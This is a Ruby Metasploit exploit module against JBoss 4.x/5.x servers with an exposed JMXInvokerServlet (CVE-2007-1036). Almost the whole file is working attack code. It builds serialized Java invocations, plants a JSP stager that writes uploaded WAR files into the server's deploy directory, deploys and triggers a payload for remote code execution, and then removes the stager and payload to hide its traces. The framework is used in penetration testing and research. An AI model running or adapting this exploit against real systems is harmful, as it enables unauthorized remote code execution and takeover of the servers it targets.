741 lines
24 KiB
Ruby
741 lines
24 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /JBoss/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)',
|
|
'Description' => %q{
|
|
This module can be used to execute a payload on JBoss servers that have an
|
|
exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
|
|
the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed
|
|
to finally upload the selected payload to the target. The DeploymentFileRepository
|
|
methods are only available on Jboss 4.x and 5.x.
|
|
},
|
|
'Author' => [
|
|
'Patrick Hof', # Vulnerability discovery, analysis and PoC
|
|
'Jens Liebchen', # Vulnerability discovery, analysis and PoC
|
|
'h0ng10' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2007-1036' ],
|
|
[ 'OSVDB', '33744' ],
|
|
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
|
|
],
|
|
'DisclosureDate' => 'Feb 20 2007',
|
|
'Privileged' => true,
|
|
'Platform' => %w{ java linux win },
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' =>
|
|
[
|
|
|
|
# do target detection but java meter by default
|
|
[ 'Automatic',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
}
|
|
],
|
|
|
|
[ 'Java Universal',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
},
|
|
],
|
|
|
|
#
|
|
# Platform specific targets
|
|
#
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
},
|
|
],
|
|
|
|
[ 'Linux x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
|
OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def check
|
|
res = send_serialized_request('version')
|
|
if res.nil?
|
|
vprint_error('Connection timed out')
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res.code != 200
|
|
vprint_error("Unable to request version, returned http code is: #{res.code.to_s}")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
# Check if the version is supported by this exploit
|
|
return Exploit::CheckCode::Appears if res.body =~ /CVSTag=Branch_4_/
|
|
return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/
|
|
return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/
|
|
|
|
if res.body =~ /ServletException/ # Simple check, if we caused an exception.
|
|
vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit')
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def exploit
|
|
mytarget = target
|
|
|
|
if target.name =~ /Automatic/
|
|
mytarget = auto_target
|
|
fail_with(Failure::BadConfig, 'Unable to automatically select a target') unless mytarget
|
|
print_status("Automatically selected target: \"#{mytarget.name}\"")
|
|
else
|
|
print_status("Using manually select target: \"#{mytarget.name}\"")
|
|
end
|
|
|
|
# We use a already serialized stager to deploy the final payload
|
|
regex_stager_app_base = rand_text_alpha(14)
|
|
regex_stager_jsp_name = rand_text_alpha(14)
|
|
name_parameter = rand_text_alpha(8)
|
|
content_parameter = rand_text_alpha(8)
|
|
stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
|
|
|
|
replace_values = {
|
|
'regex_app_base' => regex_stager_app_base,
|
|
'regex_jsp_name' => regex_stager_jsp_name,
|
|
'jsp_code' => generate_stager(name_parameter, content_parameter)
|
|
}
|
|
|
|
print_status('Deploying stager')
|
|
send_serialized_request('installstager', replace_values)
|
|
print_status("Calling stager: #{stager_uri}")
|
|
call_uri_mtimes(stager_uri, 5, 'GET')
|
|
|
|
# Generate the WAR with the payload which will be uploaded through the stager
|
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
|
|
|
war_data = payload.encoded_war({
|
|
:app_name => app_base,
|
|
:jsp_name => jsp_name,
|
|
:arch => mytarget.arch,
|
|
:platform => mytarget.platform
|
|
}).to_s
|
|
|
|
b64_war = Rex::Text.encode_base64(war_data)
|
|
print_status("Uploading payload through stager")
|
|
res = send_request_cgi({
|
|
'uri' => stager_uri,
|
|
'method' => "POST",
|
|
'vars_post' =>
|
|
{
|
|
name_parameter => app_base,
|
|
content_parameter => b64_war
|
|
}
|
|
})
|
|
|
|
payload_uri = "/#{app_base}/#{jsp_name}.jsp"
|
|
print_status("Calling payload: " + payload_uri)
|
|
res = call_uri_mtimes(payload_uri,5, 'GET')
|
|
|
|
# Remove the payload through stager
|
|
print_status('Removing payload through stager')
|
|
delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
|
|
res = send_request_cgi({'uri' => delete_payload_uri})
|
|
|
|
# Remove the stager
|
|
print_status('Removing stager')
|
|
send_serialized_request('removestagerfile', replace_values)
|
|
send_serialized_request('removestagerdirectory', replace_values)
|
|
|
|
handler
|
|
end
|
|
|
|
def generate_stager(name_param, content_param)
|
|
war_file = rand_text_alpha(4+rand(4))
|
|
file_content = rand_text_alpha(4+rand(4))
|
|
jboss_home = rand_text_alpha(4+rand(4))
|
|
decoded_content = rand_text_alpha(4+rand(4))
|
|
path = rand_text_alpha(4+rand(4))
|
|
fos = rand_text_alpha(4+rand(4))
|
|
name = rand_text_alpha(4+rand(4))
|
|
file = rand_text_alpha(4+rand(4))
|
|
|
|
stager_script = <<-EOT
|
|
<%@page import="java.io.*,
|
|
java.util.*,
|
|
sun.misc.BASE64Decoder"
|
|
%>
|
|
<%
|
|
String #{file_content} = "";
|
|
String #{war_file} = "";
|
|
String #{jboss_home} = System.getProperty("jboss.server.home.dir");
|
|
if (request.getParameter("#{content_param}") != null){
|
|
try {
|
|
#{file_content} = request.getParameter("#{content_param}");
|
|
#{war_file} = request.getParameter("#{name_param}");
|
|
byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content});
|
|
String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war";
|
|
FileOutputStream #{fos} = new FileOutputStream(#{path});
|
|
#{fos}.write(#{decoded_content});
|
|
#{fos}.close();
|
|
}
|
|
catch(Exception e) {}
|
|
}
|
|
else {
|
|
try{
|
|
String #{name} = request.getParameter("#{name_param}");
|
|
String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war";
|
|
new File(#{file}).delete();
|
|
}
|
|
catch(Exception e) {}
|
|
}
|
|
|
|
%>
|
|
EOT
|
|
|
|
end
|
|
|
|
|
|
def send_serialized_request(operation , replace_params = {})
|
|
data = ''
|
|
case operation
|
|
when 'version'
|
|
data = build_get_version.encode
|
|
when 'osname'
|
|
data = build_get_os.encode
|
|
when 'osarch'
|
|
data = build_get_arch.encode
|
|
when 'installstager'
|
|
data = build_install_stager(
|
|
war_name: replace_params['regex_app_base'],
|
|
jsp_name: replace_params['regex_jsp_name'],
|
|
data: replace_params['jsp_code']
|
|
).encode
|
|
when 'removestagerfile'
|
|
data = build_delete_stager_file(
|
|
dir: "#{replace_params['regex_app_base']}.war",
|
|
file: replace_params['regex_jsp_name'],
|
|
extension: '.jsp'
|
|
).encode
|
|
when 'removestagerdirectory'
|
|
data = build_delete_stager_file(
|
|
dir: './',
|
|
file: replace_params['regex_app_base'],
|
|
extension: '.war'
|
|
).encode
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Unexpected operation")
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation',
|
|
'Accept' => 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'
|
|
}
|
|
}, 25)
|
|
|
|
|
|
unless res && res.code == 200
|
|
print_error("Failed: Error requesting preserialized request #{operation}")
|
|
return nil
|
|
end
|
|
|
|
res
|
|
end
|
|
|
|
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
|
|
# JBoss might need some time for the deployment. Try 5 times at most and
|
|
# wait 5 seconds inbetween tries
|
|
num_attempts.times do |attempt|
|
|
if verb == "POST"
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => uri,
|
|
'method' => verb,
|
|
'data' => data
|
|
}, 5)
|
|
else
|
|
uri += "?#{data}" unless data.nil?
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => uri,
|
|
'method' => verb
|
|
}, 30)
|
|
end
|
|
|
|
msg = nil
|
|
if res.nil?
|
|
msg = "Execution failed on #{uri} [No Response]"
|
|
elsif res.code < 200 || res.code >= 300
|
|
msg = "http request failed to #{uri} [#{res.code}]"
|
|
elsif res.code == 200
|
|
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
|
|
return res
|
|
end
|
|
|
|
if attempt < num_attempts - 1
|
|
msg << ', retrying in 5 seconds...'
|
|
print_status(msg) if datastore['VERBOSE']
|
|
select(nil, nil, nil, 5)
|
|
else
|
|
print_error(msg)
|
|
return res
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
def auto_target
|
|
print_status('Attempting to automatically select a target')
|
|
|
|
plat = detect_platform
|
|
arch = detect_architecture
|
|
|
|
return nil unless arch && plat
|
|
|
|
# see if we have a match
|
|
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
|
|
# no matching target found
|
|
return nil
|
|
end
|
|
|
|
# Try to autodetect the target platform
|
|
def detect_platform
|
|
print_status('Attempting to automatically detect the platform')
|
|
res = send_serialized_request('osname')
|
|
|
|
if res.body =~ /(Linux|FreeBSD|Windows)/i
|
|
os = $1
|
|
if os =~ /Linux/i
|
|
return 'linux'
|
|
elsif os =~ /FreeBSD/i
|
|
return 'linux'
|
|
elsif os =~ /Windows/i
|
|
return 'win'
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
# Try to autodetect the architecture
|
|
def detect_architecture
|
|
print_status('Attempting to automatically detect the architecture')
|
|
res = send_serialized_request('osarch')
|
|
if res.body =~ /(i386|x86)/i
|
|
arch = $1
|
|
if arch =~ /i386|x86/i
|
|
return ARCH_X86
|
|
# TODO, more
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
def build_get_version
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
|
|
object_array = builder.new_array(
|
|
values_type: 'java.lang.Object;',
|
|
values: [
|
|
builder.new_object(
|
|
name: 'javax.management.ObjectName',
|
|
serial: 0xf03a71beb6d15cf,
|
|
flags: 3,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server')
|
|
],
|
|
name: '[Ljava.lang.Object;',
|
|
serial: 0x90ce589f1073296c,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
stream.contents = []
|
|
stream.contents << object_array
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version')
|
|
|
|
build_invocation(stream)
|
|
end
|
|
|
|
def build_get_os
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
|
|
object_array = builder.new_array(
|
|
values_type: 'java.lang.Object;',
|
|
values: [
|
|
builder.new_object(
|
|
name: 'javax.management.ObjectName',
|
|
serial: 0xf03a71beb6d15cf,
|
|
flags: 3,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
|
|
],
|
|
name: '[Ljava.lang.Object;',
|
|
serial: 0x90ce589f1073296c,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
stream.contents = []
|
|
stream.contents << object_array
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName')
|
|
|
|
build_invocation(stream)
|
|
end
|
|
|
|
def build_get_arch
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
|
|
object_array = builder.new_array(
|
|
values_type: 'java.lang.Object;',
|
|
values: [
|
|
builder.new_object(
|
|
name: 'javax.management.ObjectName',
|
|
serial: 0xf03a71beb6d15cf,
|
|
flags: 3,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
|
|
],
|
|
name: '[Ljava.lang.Object;',
|
|
serial: 0x90ce589f1073296c,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
stream.contents = []
|
|
stream.contents << object_array
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch')
|
|
|
|
build_invocation(stream)
|
|
end
|
|
|
|
def build_install_stager(opts = {})
|
|
war_name = "#{opts[:war_name]}.war"
|
|
jsp_name = opts[:jsp_name] || ''
|
|
extension = opts[:extension] || '.jsp'
|
|
data = opts[:data] || ''
|
|
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
|
|
object_array = builder.new_array(
|
|
values_type: 'java.lang.Object;',
|
|
values: [
|
|
builder.new_object(
|
|
name: 'javax.management.ObjectName',
|
|
serial: 0xf03a71beb6d15cf,
|
|
flags: 3,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
|
|
Rex::Java::Serialization::Model::EndBlockData.new,
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'store')
|
|
],
|
|
name: '[Ljava.lang.Object;',
|
|
serial: 0x90ce589f1073296c,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
values_array = builder.new_array(
|
|
values_type: 'java.lang.Object;',
|
|
values: [
|
|
Rex::Java::Serialization::Model::Utf.new(nil, war_name),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, jsp_name),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, extension),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, data),
|
|
builder.new_object(
|
|
name: 'java.lang.Boolean',
|
|
serial: 0xcd207280d59cfaee,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
|
fields: [['boolean', 'value']],
|
|
data: [['boolean', 0]]
|
|
)
|
|
],
|
|
name: '[Ljava.lang.Object;',
|
|
serial: 0x90ce589f1073296c,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
types_array = builder.new_array(
|
|
values_type: 'java.lang.String;',
|
|
values: [
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'boolean')
|
|
],
|
|
name: '[Ljava.lang.String;',
|
|
serial: 0xadd256e7e91d7b47,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
stream.contents = []
|
|
stream.contents << object_array
|
|
stream.contents << values_array
|
|
stream.contents << types_array
|
|
|
|
build_invocation_deploy(stream)
|
|
end
|
|
|
|
def build_delete_stager_file(opts = {})
|
|
dir = opts[:dir] || ''
|
|
file = opts[:file] || ''
|
|
extension = opts[:extension] || '.jsp'
|
|
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
|
|
object_array = builder.new_array(
|
|
values_type: 'java.lang.Object;',
|
|
values: [
|
|
builder.new_object(
|
|
name: 'javax.management.ObjectName',
|
|
serial: 0xf03a71beb6d15cf,
|
|
flags: 3,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
|
|
Rex::Java::Serialization::Model::EndBlockData.new,
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'remove')
|
|
],
|
|
name: '[Ljava.lang.Object;',
|
|
serial: 0x90ce589f1073296c,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
values_array = builder.new_array(
|
|
values_type: 'java.lang.Object;',
|
|
values: [
|
|
Rex::Java::Serialization::Model::Utf.new(nil, dir),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, file),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, extension)
|
|
],
|
|
name: '[Ljava.lang.Object;',
|
|
serial: 0x90ce589f1073296c,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
types_array = builder.new_array(
|
|
values_type: 'java.lang.String;',
|
|
values: [
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
|
|
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String')
|
|
],
|
|
name: '[Ljava.lang.String;',
|
|
serial: 0xadd256e7e91d7b47,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
stream.contents = []
|
|
stream.contents << object_array
|
|
stream.contents << values_array
|
|
stream.contents << types_array
|
|
|
|
build_invocation_deploy(stream)
|
|
end
|
|
|
|
def build_invocation(stream_argument)
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
stream.contents = []
|
|
|
|
null_stream = build_null_stream
|
|
null_stream_enc = null_stream.encode
|
|
null_stream_value = [null_stream_enc.length].pack('N')
|
|
null_stream_value << null_stream_enc
|
|
null_stream_value << "\xfb\x57\xa7\xaa"
|
|
|
|
stream_argument_enc = stream_argument.encode
|
|
stream_argument_value = [stream_argument_enc.length].pack('N')
|
|
stream_argument_value << stream_argument_enc
|
|
stream_argument_value << "\x7b\x87\xa0\xfb"
|
|
|
|
stream.contents << build_marshalled_invocation
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf")
|
|
stream.contents << build_integer(647347722)
|
|
stream.contents << build_marshalled_value
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value)
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
|
|
stream.contents << build_invocation_key(5)
|
|
stream.contents << build_marshalled_value
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02")
|
|
stream.contents << build_invocation_key(4)
|
|
stream.contents << build_invocation_type(1)
|
|
stream.contents << build_invocation_key(10)
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
|
|
stream
|
|
end
|
|
|
|
def build_invocation_deploy(stream_argument)
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
stream.contents = []
|
|
|
|
null_stream = build_null_stream
|
|
null_stream_enc = null_stream.encode
|
|
null_stream_value = [null_stream_enc.length].pack('N')
|
|
null_stream_value << null_stream_enc
|
|
null_stream_value << "\xfb\x57\xa7\xaa"
|
|
|
|
stream_argument_enc = stream_argument.encode
|
|
stream_argument_value = [stream_argument_enc.length].pack('N')
|
|
stream_argument_value << stream_argument_enc
|
|
stream_argument_value << "\x7b\x87\xa0\xfb"
|
|
|
|
stream.contents << build_marshalled_invocation
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87")
|
|
stream.contents << build_integer(647347722)
|
|
stream.contents << build_marshalled_value
|
|
stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value)
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
|
|
stream.contents << build_invocation_key(5)
|
|
stream.contents << build_marshalled_value
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03")
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME')
|
|
stream.contents << builder.new_object(
|
|
name: 'javax.management.ObjectName',
|
|
serial: 0xf03a71beb6d15cf,
|
|
flags: 3,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository')
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
stream.contents << build_invocation_key(4)
|
|
stream.contents << build_invocation_type(1)
|
|
stream.contents << build_invocation_key(10)
|
|
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
|
|
stream
|
|
end
|
|
|
|
def build_marshalled_invocation
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
builder.new_object(
|
|
name: 'org.jboss.invocation.MarshalledInvocation',
|
|
serial: 0xf6069527413ea4be,
|
|
flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
end
|
|
|
|
def build_marshalled_value
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
builder.new_object(
|
|
name: 'org.jboss.invocation.MarshalledValue',
|
|
serial: 0xeacce0d1f44ad099,
|
|
flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
)
|
|
end
|
|
|
|
def build_invocation_key(ordinal)
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
builder.new_object(
|
|
name: 'org.jboss.invocation.InvocationKey',
|
|
serial: 0xb8fb7284d79385f9,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
|
fields: [
|
|
['int', 'ordinal']
|
|
],
|
|
data:[
|
|
['int', ordinal]
|
|
]
|
|
)
|
|
end
|
|
|
|
def build_invocation_type(ordinal)
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
builder.new_object(
|
|
name: 'org.jboss.invocation.InvocationType',
|
|
serial: 0x59a73a1ca52b7cbf,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
|
fields: [
|
|
['int', 'ordinal']
|
|
],
|
|
data:[
|
|
['int', ordinal]
|
|
]
|
|
)
|
|
end
|
|
|
|
def build_integer(value)
|
|
builder = Rex::Java::Serialization::Builder.new
|
|
builder.new_object(
|
|
name: 'java.lang.Integer',
|
|
serial: 0x12e2a0a4f7818738,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
|
super_class: builder.new_class(
|
|
name: 'java.lang.Number',
|
|
serial: 0x86ac951d0b94e08b,
|
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
|
|
),
|
|
fields: [
|
|
['int', 'value']
|
|
],
|
|
data:[
|
|
['int', value]
|
|
]
|
|
)
|
|
end
|
|
|
|
def build_null_stream
|
|
stream = Rex::Java::Serialization::Model::Stream.new
|
|
stream.contents = [Rex::Java::Serialization::Model::NullReference.new]
|
|
|
|
stream
|
|
end
|
|
|
|
end
|